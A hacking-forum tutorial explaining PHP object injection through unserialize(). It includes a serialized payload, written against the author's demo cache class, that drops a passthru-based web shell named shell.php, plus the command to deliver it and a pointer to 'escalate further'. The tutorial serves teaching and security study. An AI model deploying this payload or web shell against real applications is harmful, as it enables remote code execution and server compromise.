[TUTORIAL] - PHP Object Injection

PHP Object Injection

[1]. What is it, how does it work?
[2]. How can I exploit it?
[3]. Outro

What is it, how does it work?

PHP object injection is what the name describes. Injecting custom-crafted objects into a script. This is possible when a user-supplied argument is passed through the unserialize() function within PHP.
You can pass a serialized string of an object of a class into somewhere that will take it in, and after PHP reconstructs the object, it will be available to the object scope, and it will call one of the following magic methods if they are included in the class. This includes __construct(), __destruct(), __sleep() and __wakeup().
This can lead on to many different attacks, such as SQL Injection, Remote code execution, file disclosure and more.

How can I exploit it?

First of all, we will need to find a vulnerable application. I wrote up a ballsy cache class quickly for demonstration purposes. Also note, that it doesn't have to be the $argv variable. It could be any global variable which contains user input, such as $_GET, $_COOKIE, $_SERVER['QUERY_STRING'] etc.

[Image: a74cdda8dd.png]

The above script is vulnerable. We will be able to modify the classes contents, and set the cache file to some non existing PHP file, and set the contents to whatever we like as well.

So, how would we go about doing so?

First of all, we will want to obtain a serialized version of the class, with all of our variables set to what we want them to be. This is called an object. I'll use ~

[Image: 03ffbc65c0.png]

You could of course use whatever name you like, and whatever contents you like.

After running the script, we will receive ~

PHP Code 


<?php 
O:13:"cache_handler":2:{s:13:" * cache_file";s:9:"shell.php";s:17:" * cache_contents";s:27:"<? passthru($_GET["1"]); ?>";} 

our serialized object. You don't NEED to understand what any of this is, but if you're interested, the first O:13 determines the datatype of the string held within it. O = object. The 13 is just the length of the name of the class, followed by it's name. s:13 represents a string of 13 characters in length.

Alrighty. Now that we have our serialized object ready, all we want to do is run the program and pass that in as our first argument. So in our terminal we will do the following ~

PHP Code 


<?php 
php file.php 'O:13:"cache_handler":2:{s:13:" * cache_file";s:9:"shell.php";s:17:" * cache_contents";s:27:"<? passthru($_GET["1"]); ?>";}' 

And do a ls/dir, and if your pwd was writeable, shell.php should appear here. Now you can visit shell.php?1= and escalate further.

Outro

This is an often overlooked vulnerability, which has recently been put into use quite a lot by an individual that goes by the alias 'EgiX'. If you need some more examples you can read up on exploits he has found.

Thanks for reading.